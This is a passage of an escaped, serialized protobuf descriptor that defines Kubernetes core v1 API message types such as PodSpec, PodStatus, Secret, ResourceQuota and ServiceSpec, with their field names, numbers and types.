\x03(\t\x12\x12\n\nvolumeMode\x18\x08 \x01(\t\x12<\n\x0cnodeAffinity\x18\t \x01(\x0b\x32&.k8s.io.api.core.v1.VolumeNodeAffinity\x1a_\n\rCapacityEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\"H\n\x16PersistentVolumeStatus\x12\r\n\x05phase\x18\x01 \x01(\t\x12\x0f\n\x07message\x18\x02 \x01(\t\x12\x0e\n\x06reason\x18\x03 \x01(\t\"@\n PhotonPersistentDiskVolumeSource\x12\x0c\n\x04pdID\x18\x01 \x01(\t\x12\x0e\n\x06\x66sType\x18\x02 \x01(\t\"\xa3\x01\n\x03Pod\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12)\n\x04spec\x18\x02 \x01(\x0b\x32\x1b.k8s.io.api.core.v1.PodSpec\x12-\n\x06status\x18\x03 \x01(\x0b\x32\x1d.k8s.io.api.core.v1.PodStatus\"\xd0\x01\n\x0bPodAffinity\x12[\n.requiredDuringSchedulingIgnoredDuringExecution\x18\x01 \x03(\x0b\x32#.k8s.io.api.core.v1.PodAffinityTerm\x12\x64\n/preferredDuringSchedulingIgnoredDuringExecution\x18\x02 \x03(\x0b\x32+.k8s.io.api.core.v1.WeightedPodAffinityTerm\"\xd6\x01\n\x0fPodAffinityTerm\x12J\n\rlabelSelector\x18\x01 \x01(\x0b\x32\x33.k8s.io.apimachinery.pkg.apis.meta.v1.LabelSelector\x12\x12\n\nnamespaces\x18\x02 \x03(\t\x12\x13\n\x0btopologyKey\x18\x03 \x01(\t\x12N\n\x11namespaceSelector\x18\x04 \x01(\x0b\x32\x33.k8s.io.apimachinery.pkg.apis.meta.v1.LabelSelector\"\xd4\x01\n\x0fPodAntiAffinity\x12[\n.requiredDuringSchedulingIgnoredDuringExecution\x18\x01 \x03(\x0b\x32#.k8s.io.api.core.v1.PodAffinityTerm\x12\x64\n/preferredDuringSchedulingIgnoredDuringExecution\x18\x02 \x03(\x0b\x32+.k8s.io.api.core.v1.WeightedPodAffinityTerm\"a\n\x10PodAttachOptions\x12\r\n\x05stdin\x18\x01 \x01(\x08\x12\x0e\n\x06stdout\x18\x02 \x01(\x08\x12\x0e\n\x06stderr\x18\x03 \x01(\x08\x12\x0b\n\x03tty\x18\x04 \x01(\x08\x12\x11\n\tcontainer\x18\x05 \x01(\t\"\xd8\x01\n\x0cPodCondition\x12\x0c\n\x04type\x18\x01 \x01(\t\x12\x0e\n\x06status\x18\x02 \x01(\t\x12\x41\n\rlastProbeTime\x18\x03 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\x12\x46\n\x12lastTransitionTime\x18\x04 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\x12\x0e\n\x06reason\x18\x05 \x01(\t\x12\x0f\n\x07message\x18\x06 \x01(\t\"n\n\x0cPodDNSConfig\x12\x13\n\x0bnameservers\x18\x01 \x03(\t\x12\x10\n\x08searches\x18\x02 \x03(\t\x12\x37\n\x07options\x18\x03 \x03(\x0b\x32&.k8s.io.api.core.v1.PodDNSConfigOption\"1\n\x12PodDNSConfigOption\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t\"p\n\x0ePodExecOptions\x12\r\n\x05stdin\x18\x01 \x01(\x08\x12\x0e\n\x06stdout\x18\x02 \x01(\x08\x12\x0e\n\x06stderr\x18\x03 \x01(\x08\x12\x0b\n\x03tty\x18\x04 \x01(\x08\x12\x11\n\tcontainer\x18\x05 \x01(\t\x12\x0f\n\x07\x63ommand\x18\x06 \x03(\t\"\x13\n\x05PodIP\x12\n\n\x02ip\x18\x01 \x01(\t\"s\n\x07PodList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12&\n\x05items\x18\x02 \x03(\x0b\x32\x17.k8s.io.api.core.v1.Pod\"\xfa\x01\n\rPodLogOptions\x12\x11\n\tcontainer\x18\x01 \x01(\t\x12\x0e\n\x06\x66ollow\x18\x02 \x01(\x08\x12\x10\n\x08previous\x18\x03 \x01(\x08\x12\x14\n\x0csinceSeconds\x18\x04 \x01(\x03\x12=\n\tsinceTime\x18\x05 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\x12\x12\n\ntimestamps\x18\x06 \x01(\x08\x12\x11\n\ttailLines\x18\x07 \x01(\x03\x12\x12\n\nlimitBytes\x18\x08 \x01(\x03\x12$\n\x1cinsecureSkipTLSVerifyBackend\x18\t \x01(\x08\"\x15\n\x05PodOS\x12\x0c\n\x04name\x18\x01 \x01(\t\"&\n\x15PodPortForwardOptions\x12\r\n\x05ports\x18\x01 \x03(\x05\"\x1f\n\x0fPodProxyOptions\x12\x0c\n\x04path\x18\x01 \x01(\t\")\n\x10PodReadinessGate\x12\x15\n\rconditionType\x18\x01 \x01(\t\"\x8b\x03\n\x12PodSecurityContext\x12:\n\x0eseLinuxOptions\x18\x01 \x01(\x0b\x32\".k8s.io.api.core.v1.SELinuxOptions\x12I\n\x0ewindowsOptions\x18\x08 \x01(\x0b\x32\x31.k8s.io.api.core.v1.WindowsSecurityContextOptions\x12\x11\n\trunAsUser\x18\x02 \x01(\x03\x12\x12\n\nrunAsGroup\x18\x06 \x01(\x03\x12\x14\n\x0crunAsNonRoot\x18\x03 \x01(\x08\x12\x1a\n\x12supplementalGroups\x18\x04 \x03(\x03\x12\x0f\n\x07\x66sGroup\x18\x05 \x01(\x03\x12+\n\x07sysctls\x18\x07 \x03(\x0b\x32\x1a.k8s.io.api.core.v1.Sysctl\x12\x1b\n\x13\x66sGroupChangePolicy\x18\t \x01(\t\x12:\n\x0eseccompProfile\x18\n \x01(\x0b\x32\".k8s.io.api.core.v1.SeccompProfile\"[\n\x0cPodSignature\x12K\n\rpodController\x18\x01 \x01(\x0b\x32\x34.k8s.io.apimachinery.pkg.apis.meta.v1.OwnerReference\"\x8c\x0c\n\x07PodSpec\x12+\n\x07volumes\x18\x01 \x03(\x0b\x32\x1a.k8s.io.api.core.v1.Volume\x12\x35\n\x0einitContainers\x18\x14 \x03(\x0b\x32\x1d.k8s.io.api.core.v1.Container\x12\x31\n\ncontainers\x18\x02 \x03(\x0b\x32\x1d.k8s.io.api.core.v1.Container\x12\x43\n\x13\x65phemeralContainers\x18\" \x03(\x0b\x32&.k8s.io.api.core.v1.EphemeralContainer\x12\x15\n\rrestartPolicy\x18\x03 \x01(\t\x12%\n\x1dterminationGracePeriodSeconds\x18\x04 \x01(\x03\x12\x1d\n\x15\x61\x63tiveDeadlineSeconds\x18\x05 \x01(\x03\x12\x11\n\tdnsPolicy\x18\x06 \x01(\t\x12\x43\n\x0cnodeSelector\x18\x07 \x03(\x0b\x32-.k8s.io.api.core.v1.PodSpec.NodeSelectorEntry\x12\x1a\n\x12serviceAccountName\x18\x08 \x01(\t\x12\x16\n\x0eserviceAccount\x18\t \x01(\t\x12$\n\x1c\x61utomountServiceAccountToken\x18\x15 \x01(\x08\x12\x10\n\x08nodeName\x18\n \x01(\t\x12\x13\n\x0bhostNetwork\x18\x0b \x01(\x08\x12\x0f\n\x07hostPID\x18\x0c \x01(\x08\x12\x0f\n\x07hostIPC\x18\r \x01(\x08\x12\x1d\n\x15shareProcessNamespace\x18\x1b \x01(\x08\x12?\n\x0fsecurityContext\x18\x0e \x01(\x0b\x32&.k8s.io.api.core.v1.PodSecurityContext\x12\x42\n\x10imagePullSecrets\x18\x0f \x03(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\x12\x10\n\x08hostname\x18\x10 \x01(\t\x12\x11\n\tsubdomain\x18\x11 \x01(\t\x12.\n\x08\x61\x66\x66inity\x18\x12 \x01(\x0b\x32\x1c.k8s.io.api.core.v1.Affinity\x12\x15\n\rschedulerName\x18\x13 \x01(\t\x12\x33\n\x0btolerations\x18\x16 \x03(\x0b\x32\x1e.k8s.io.api.core.v1.Toleration\x12\x32\n\x0bhostAliases\x18\x17 \x03(\x0b\x32\x1d.k8s.io.api.core.v1.HostAlias\x12\x19\n\x11priorityClassName\x18\x18 \x01(\t\x12\x10\n\x08priority\x18\x19 \x01(\x05\x12\x33\n\tdnsConfig\x18\x1a \x01(\x0b\x32 .k8s.io.api.core.v1.PodDNSConfig\x12<\n\x0ereadinessGates\x18\x1c \x03(\x0b\x32$.k8s.io.api.core.v1.PodReadinessGate\x12\x18\n\x10runtimeClassName\x18\x1d \x01(\t\x12\x1a\n\x12\x65nableServiceLinks\x18\x1e \x01(\x08\x12\x18\n\x10preemptionPolicy\x18\x1f \x01(\t\x12;\n\x08overhead\x18 \x03(\x0b\x32).k8s.io.api.core.v1.PodSpec.OverheadEntry\x12O\n\x19topologySpreadConstraints\x18! \x03(\x0b\x32,.k8s.io.api.core.v1.TopologySpreadConstraint\x12\x19\n\x11setHostnameAsFQDN\x18# \x01(\x08\x12%\n\x02os\x18$ \x01(\x0b\x32\x19.k8s.io.api.core.v1.PodOS\x1a\x33\n\x11NodeSelectorEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\x1a_\n\rOverheadEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\"\xf4\x03\n\tPodStatus\x12\r\n\x05phase\x18\x01 \x01(\t\x12\x34\n\nconditions\x18\x02 \x03(\x0b\x32 .k8s.io.api.core.v1.PodCondition\x12\x0f\n\x07message\x18\x03 \x01(\t\x12\x0e\n\x06reason\x18\x04 \x01(\t\x12\x19\n\x11nominatedNodeName\x18\x0b \x01(\t\x12\x0e\n\x06hostIP\x18\x05 \x01(\t\x12\r\n\x05podIP\x18\x06 \x01(\t\x12)\n\x06podIPs\x18\x0c \x03(\x0b\x32\x19.k8s.io.api.core.v1.PodIP\x12=\n\tstartTime\x18\x07 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\x12\x42\n\x15initContainerStatuses\x18\n \x03(\x0b\x32#.k8s.io.api.core.v1.ContainerStatus\x12>\n\x11\x63ontainerStatuses\x18\x08 \x03(\x0b\x32#.k8s.io.api.core.v1.ContainerStatus\x12\x10\n\x08qosClass\x18\t \x01(\t\x12G\n\x1a\x65phemeralContainerStatuses\x18\r \x03(\x0b\x32#.k8s.io.api.core.v1.ContainerStatus\"\x84\x01\n\x0fPodStatusResult\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12-\n\x06status\x18\x02 \x01(\x0b\x32\x1d.k8s.io.api.core.v1.PodStatus\"\x88\x01\n\x0bPodTemplate\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12\x35\n\x08template\x18\x02 \x01(\x0b\x32#.k8s.io.api.core.v1.PodTemplateSpec\"\x83\x01\n\x0fPodTemplateList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12.\n\x05items\x18\x02 \x03(\x0b\x32\x1f.k8s.io.api.core.v1.PodTemplate\"\x80\x01\n\x0fPodTemplateSpec\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12)\n\x04spec\x18\x02 \x01(\x0b\x32\x1b.k8s.io.api.core.v1.PodSpec\";\n\nPortStatus\x12\x0c\n\x04port\x18\x01 \x01(\x05\x12\x10\n\x08protocol\x18\x02 \x01(\t\x12\r\n\x05\x65rror\x18\x03 \x01(\t\"J\n\x14PortworxVolumeSource\x12\x10\n\x08volumeID\x18\x01 \x01(\t\x12\x0e\n\x06\x66sType\x18\x02 \x01(\t\x12\x10\n\x08readOnly\x18\x03 \x01(\x08\"\x1c\n\rPreconditions\x12\x0b\n\x03uid\x18\x01 \x01(\t\"\xb1\x01\n\x14PreferAvoidPodsEntry\x12\x36\n\x0cpodSignature\x18\x01 \x01(\x0b\x32 .k8s.io.api.core.v1.PodSignature\x12@\n\x0c\x65victionTime\x18\x02 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\x12\x0e\n\x06reason\x18\x03 \x01(\t\x12\x0f\n\x07message\x18\x04 \x01(\t\"c\n\x17PreferredSchedulingTerm\x12\x0e\n\x06weight\x18\x01 \x01(\x05\x12\x38\n\npreference\x18\x02 \x01(\x0b\x32$.k8s.io.api.core.v1.NodeSelectorTerm\"\xe1\x01\n\x05Probe\x12\x31\n\x07handler\x18\x01 \x01(\x0b\x32 .k8s.io.api.core.v1.ProbeHandler\x12\x1b\n\x13initialDelaySeconds\x18\x02 \x01(\x05\x12\x16\n\x0etimeoutSeconds\x18\x03 \x01(\x05\x12\x15\n\rperiodSeconds\x18\x04 \x01(\x05\x12\x18\n\x10successThreshold\x18\x05 \x01(\x05\x12\x18\n\x10\x66\x61ilureThreshold\x18\x06 \x01(\x05\x12%\n\x1dterminationGracePeriodSeconds\x18\x07 \x01(\x03\"\xd6\x01\n\x0cProbeHandler\x12,\n\x04\x65xec\x18\x01 \x01(\x0b\x32\x1e.k8s.io.api.core.v1.ExecAction\x12\x32\n\x07httpGet\x18\x02 \x01(\x0b\x32!.k8s.io.api.core.v1.HTTPGetAction\x12\x36\n\ttcpSocket\x18\x03 \x01(\x0b\x32#.k8s.io.api.core.v1.TCPSocketAction\x12,\n\x04grpc\x18\x04 \x01(\x0b\x32\x1e.k8s.io.api.core.v1.GRPCAction\"c\n\x15ProjectedVolumeSource\x12\x35\n\x07sources\x18\x01 \x03(\x0b\x32$.k8s.io.api.core.v1.VolumeProjection\x12\x13\n\x0b\x64\x65\x66\x61ultMode\x18\x02 \x01(\x05\"v\n\x13QuobyteVolumeSource\x12\x10\n\x08registry\x18\x01 \x01(\t\x12\x0e\n\x06volume\x18\x02 \x01(\t\x12\x10\n\x08readOnly\x18\x03 \x01(\x08\x12\x0c\n\x04user\x18\x04 \x01(\t\x12\r\n\x05group\x18\x05 \x01(\t\x12\x0e\n\x06tenant\x18\x06 \x01(\t\"\xc3\x01\n\x19RBDPersistentVolumeSource\x12\x10\n\x08monitors\x18\x01 \x03(\t\x12\r\n\x05image\x18\x02 \x01(\t\x12\x0e\n\x06\x66sType\x18\x03 \x01(\t\x12\x0c\n\x04pool\x18\x04 \x01(\t\x12\x0c\n\x04user\x18\x05 \x01(\t\x12\x0f\n\x07keyring\x18\x06 \x01(\t\x12\x36\n\tsecretRef\x18\x07 \x01(\x0b\x32#.k8s.io.api.core.v1.SecretReference\x12\x10\n\x08readOnly\x18\x08 \x01(\x08\"\xbe\x01\n\x0fRBDVolumeSource\x12\x10\n\x08monitors\x18\x01 \x03(\t\x12\r\n\x05image\x18\x02 \x01(\t\x12\x0e\n\x06\x66sType\x18\x03 \x01(\t\x12\x0c\n\x04pool\x18\x04 \x01(\t\x12\x0c\n\x04user\x18\x05 \x01(\t\x12\x0f\n\x07keyring\x18\x06 \x01(\t\x12;\n\tsecretRef\x18\x07 \x01(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\x12\x10\n\x08readOnly\x18\x08 \x01(\x08\"r\n\x0fRangeAllocation\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12\r\n\x05range\x18\x02 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x03 \x01(\x0c\"\xd9\x01\n\x15ReplicationController\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12;\n\x04spec\x18\x02 \x01(\x0b\x32-.k8s.io.api.core.v1.ReplicationControllerSpec\x12?\n\x06status\x18\x03 \x01(\x0b\x32/.k8s.io.api.core.v1.ReplicationControllerStatus\"\xa7\x01\n\x1eReplicationControllerCondition\x12\x0c\n\x04type\x18\x01 \x01(\t\x12\x0e\n\x06status\x18\x02 \x01(\t\x12\x46\n\x12lastTransitionTime\x18\x03 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\x12\x0e\n\x06reason\x18\x04 \x01(\t\x12\x0f\n\x07message\x18\x05 \x01(\t\"\x97\x01\n\x19ReplicationControllerList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12\x38\n\x05items\x18\x02 \x03(\x0b\x32).k8s.io.api.core.v1.ReplicationController\"\xfd\x01\n\x19ReplicationControllerSpec\x12\x10\n\x08replicas\x18\x01 \x01(\x05\x12\x17\n\x0fminReadySeconds\x18\x04 \x01(\x05\x12M\n\x08selector\x18\x02 \x03(\x0b\x32;.k8s.io.api.core.v1.ReplicationControllerSpec.SelectorEntry\x12\x35\n\x08template\x18\x03 \x01(\x0b\x32#.k8s.io.api.core.v1.PodTemplateSpec\x1a/\n\rSelectorEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\"\xe3\x01\n\x1bReplicationControllerStatus\x12\x10\n\x08replicas\x18\x01 \x01(\x05\x12\x1c\n\x14\x66ullyLabeledReplicas\x18\x02 \x01(\x05\x12\x15\n\rreadyReplicas\x18\x04 \x01(\x05\x12\x19\n\x11\x61vailableReplicas\x18\x05 \x01(\x05\x12\x1a\n\x12observedGeneration\x18\x03 \x01(\x03\x12\x46\n\nconditions\x18\x06 \x03(\x0b\x32\x32.k8s.io.api.core.v1.ReplicationControllerCondition\"\x81\x01\n\x15ResourceFieldSelector\x12\x15\n\rcontainerName\x18\x01 \x01(\t\x12\x10\n\x08resource\x18\x02 \x01(\t\x12?\n\x07\x64ivisor\x18\x03 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity\"\xc1\x01\n\rResourceQuota\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12\x33\n\x04spec\x18\x02 \x01(\x0b\x32%.k8s.io.api.core.v1.ResourceQuotaSpec\x12\x37\n\x06status\x18\x03 \x01(\x0b\x32\'.k8s.io.api.core.v1.ResourceQuotaStatus\"\x87\x01\n\x11ResourceQuotaList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12\x30\n\x05items\x18\x02 \x03(\x0b\x32!.k8s.io.api.core.v1.ResourceQuota\"\xf9\x01\n\x11ResourceQuotaSpec\x12=\n\x04hard\x18\x01 \x03(\x0b\x32/.k8s.io.api.core.v1.ResourceQuotaSpec.HardEntry\x12\x0e\n\x06scopes\x18\x02 \x03(\t\x12\x38\n\rscopeSelector\x18\x03 \x01(\x0b\x32!.k8s.io.api.core.v1.ScopeSelector\x1a[\n\tHardEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\"\xd1\x02\n\x13ResourceQuotaStatus\x12?\n\x04hard\x18\x01 \x03(\x0b\x32\x31.k8s.io.api.core.v1.ResourceQuotaStatus.HardEntry\x12?\n\x04used\x18\x02 \x03(\x0b\x32\x31.k8s.io.api.core.v1.ResourceQuotaStatus.UsedEntry\x1a[\n\tHardEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\x1a[\n\tUsedEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\"\xe6\x02\n\x14ResourceRequirements\x12\x44\n\x06limits\x18\x01 \x03(\x0b\x32\x34.k8s.io.api.core.v1.ResourceRequirements.LimitsEntry\x12H\n\x08requests\x18\x02 \x03(\x0b\x32\x36.k8s.io.api.core.v1.ResourceRequirements.RequestsEntry\x1a]\n\x0bLimitsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\x1a_\n\rRequestsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\"I\n\x0eSELinuxOptions\x12\x0c\n\x04user\x18\x01 \x01(\t\x12\x0c\n\x04role\x18\x02 \x01(\t\x12\x0c\n\x04type\x18\x03 \x01(\t\x12\r\n\x05level\x18\x04 \x01(\t\"\x86\x02\n\x1dScaleIOPersistentVolumeSource\x12\x0f\n\x07gateway\x18\x01 \x01(\t\x12\x0e\n\x06system\x18\x02 \x01(\t\x12\x36\n\tsecretRef\x18\x03 \x01(\x0b\x32#.k8s.io.api.core.v1.SecretReference\x12\x12\n\nsslEnabled\x18\x04 \x01(\x08\x12\x18\n\x10protectionDomain\x18\x05 \x01(\t\x12\x13\n\x0bstoragePool\x18\x06 \x01(\t\x12\x13\n\x0bstorageMode\x18\x07 \x01(\t\x12\x12\n\nvolumeName\x18\x08 \x01(\t\x12\x0e\n\x06\x66sType\x18\t \x01(\t\x12\x10\n\x08readOnly\x18\n \x01(\x08\"\x81\x02\n\x13ScaleIOVolumeSource\x12\x0f\n\x07gateway\x18\x01 \x01(\t\x12\x0e\n\x06system\x18\x02 \x01(\t\x12;\n\tsecretRef\x18\x03 \x01(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\x12\x12\n\nsslEnabled\x18\x04 \x01(\x08\x12\x18\n\x10protectionDomain\x18\x05 \x01(\t\x12\x13\n\x0bstoragePool\x18\x06 \x01(\t\x12\x13\n\x0bstorageMode\x18\x07 \x01(\t\x12\x12\n\nvolumeName\x18\x08 \x01(\t\x12\x0e\n\x06\x66sType\x18\t \x01(\t\x12\x10\n\x08readOnly\x18\n \x01(\x08\"`\n\rScopeSelector\x12O\n\x10matchExpressions\x18\x01 \x03(\x0b\x32\x35.k8s.io.api.core.v1.ScopedResourceSelectorRequirement\"X\n!ScopedResourceSelectorRequirement\x12\x11\n\tscopeName\x18\x01 \x01(\t\x12\x10\n\x08operator\x18\x02 \x01(\t\x12\x0e\n\x06values\x18\x03 \x03(\t\"8\n\x0eSeccompProfile\x12\x0c\n\x04type\x18\x01 \x01(\t\x12\x18\n\x10localhostProfile\x18\x02 \x01(\t\"\xc1\x02\n\x06Secret\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12\x11\n\timmutable\x18\x05 \x01(\x08\x12\x32\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32$.k8s.io.api.core.v1.Secret.DataEntry\x12>\n\nstringData\x18\x04 \x03(\x0b\x32*.k8s.io.api.core.v1.Secret.StringDataEntry\x12\x0c\n\x04type\x18\x03 \x01(\t\x1a+\n\tDataEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\x0c:\x02\x38\x01\x1a\x31\n\x0fStringDataEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\"k\n\x0fSecretEnvSource\x12\x46\n\x14localObjectReference\x18\x01 \x01(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\x12\x10\n\x08optional\x18\x02 \x01(\x08\"z\n\x11SecretKeySelector\x12\x46\n\x14localObjectReference\x18\x01 \x01(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\x12\x0b\n\x03key\x18\x02 \x01(\t\x12\x10\n\x08optional\x18\x03 \x01(\x08\"y\n\nSecretList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12)\n\x05items\x18\x02 \x03(\x0b\x32\x1a.k8s.io.api.core.v1.Secret\"\x9a\x01\n\x10SecretProjection\x12\x46\n\x14localObjectReference\x18\x01 \x01(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\x12,\n\x05items\x18\x02 \x03(\x0b\x32\x1d.k8s.io.api.core.v1.KeyToPath\x12\x10\n\x08optional\x18\x04 \x01(\x08\"2\n\x0fSecretReference\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x11\n\tnamespace\x18\x02 \x01(\t\"}\n\x12SecretVolumeSource\x12\x12\n\nsecretName\x18\x01 \x01(\t\x12,\n\x05items\x18\x02 \x03(\x0b\x32\x1d.k8s.io.api.core.v1.KeyToPath\x12\x13\n\x0b\x64\x65\x66\x61ultMode\x18\x03 \x01(\x05\x12\x10\n\x08optional\x18\x04 \x01(\x08\"\xb2\x03\n\x0fSecurityContext\x12\x36\n\x0c\x63\x61pabilities\x18\x01 \x01(\x0b\x32 .k8s.io.api.core.v1.Capabilities\x12\x12\n\nprivileged\x18\x02 \x01(\x08\x12:\n\x0eseLinuxOptions\x18\x03 \x01(\x0b\x32\".k8s.io.api.core.v1.SELinuxOptions\x12I\n\x0ewindowsOptions\x18\n \x01(\x0b\x32\x31.k8s.io.api.core.v1.WindowsSecurityContextOptions\x12\x11\n\trunAsUser\x18\x04 \x01(\x03\x12\x12\n\nrunAsGroup\x18\x08 \x01(\x03\x12\x14\n\x0crunAsNonRoot\x18\x05 \x01(\x08\x12\x1e\n\x16readOnlyRootFilesystem\x18\x06 \x01(\x08\x12 \n\x18\x61llowPrivilegeEscalation\x18\x07 \x01(\x08\x12\x11\n\tprocMount\x18\t \x01(\t\x12:\n\x0eseccompProfile\x18\x0b \x01(\x0b\x32\".k8s.io.api.core.v1.SeccompProfile\"M\n\x13SerializedReference\x12\x36\n\treference\x18\x01 \x01(\x0b\x32#.k8s.io.api.core.v1.ObjectReference\"\xaf\x01\n\x07Service\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12-\n\x04spec\x18\x02 \x01(\x0b\x32\x1f.k8s.io.api.core.v1.ServiceSpec\x12\x31\n\x06status\x18\x03 \x01(\x0b\x32!.k8s.io.api.core.v1.ServiceStatus\"\xf4\x01\n\x0eServiceAccount\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12\x34\n\x07secrets\x18\x02 \x03(\x0b\x32#.k8s.io.api.core.v1.ObjectReference\x12\x42\n\x10imagePullSecrets\x18\x03 \x03(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\x12$\n\x1c\x61utomountServiceAccountToken\x18\x04 \x01(\x08\"\x89\x01\n\x12ServiceAccountList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12\x31\n\x05items\x18\x02 \x03(\x0b\x32\".k8s.io.api.core.v1.ServiceAccount\"Z\n\x1dServiceAccountTokenProjection\x12\x10\n\x08\x61udience\x18\x01 \x01(\t\x12\x19\n\x11\x65xpirationSeconds\x18\x02 \x01(\x03\x12\x0c\n\x04path\x18\x03 \x01(\t\"{\n\x0bServiceList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12*\n\x05items\x18\x02 \x03(\x0b\x32\x1b.k8s.io.api.core.v1.Service\"\xa8\x01\n\x0bServicePort\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x10\n\x08protocol\x18\x02 \x01(\t\x12\x13\n\x0b\x61ppProtocol\x18\x06 \x01(\t\x12\x0c\n\x04port\x18\x03 \x01(\x05\x12\x44\n\ntargetPort\x18\x04 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.util.intstr.IntOrString\x12\x10\n\x08nodePort\x18\x05 \x01(\x05\"#\n\x13ServiceProxyOptions\x12\x0c\n\x04path\x18\x01 \x01(\t\"\x97\x05\n\x0bServiceSpec\x12.\n\x05ports\x18\x01 \x03(\x0b\x32\x1f.k8s.io.api.core.v1.ServicePort\x12?\n\x08selector\x18\x02 \x03(\x0b\x32-.k8s.io.api.core.v1.ServiceSpec.SelectorEntry\x12\x11\n\tclusterIP\x18\x03 \x01(\t\x12\x12\n\nclusterIPs\x18\x12 \x03(\t\x12\x0c\n\x04type\x18\x04 \x01(\t\x12\x13\n\x0b\x65xternalIPs\x18\x05 \x03(\t\x12\x17\n\x0fsessionAffinity\x18\x07 \x01(\t\x12\x16\n\x0eloadBalancerIP\x18\x08 \x01(\t\x12 \n\x18loadBalancerSourceRanges\x18\t \x03(\t\x12\x14\n\x0c\x65xternalName\x18\n \x01(\t\x12\x1d\n\x15\x65xternalTrafficPolicy\x18\x0b \x01(\t\x12\x1b\n\x13healthCheckNodePort\x18\x0c \x01(\x05\x12 \n\x18publishNotReadyAddresses\x18\r \x01(\x08\x12H\n\x15sessionAffinityConfig\x18\x0e \x01(\x0b\x32).k8s.io.api.core.v1.SessionAffinityConfig\x12\x12\n\nipFamilies\x18\x13 \x03(\t\x12\x16\n\x0eipFamilyPolicy\x18\x11 \x01(\t\x12%\n\x1d\x61llocateLoadBalancerNodePorts\x18\x14 \x01(\x08\x12\x19\n\x11loadBalancerClass\x18\x15 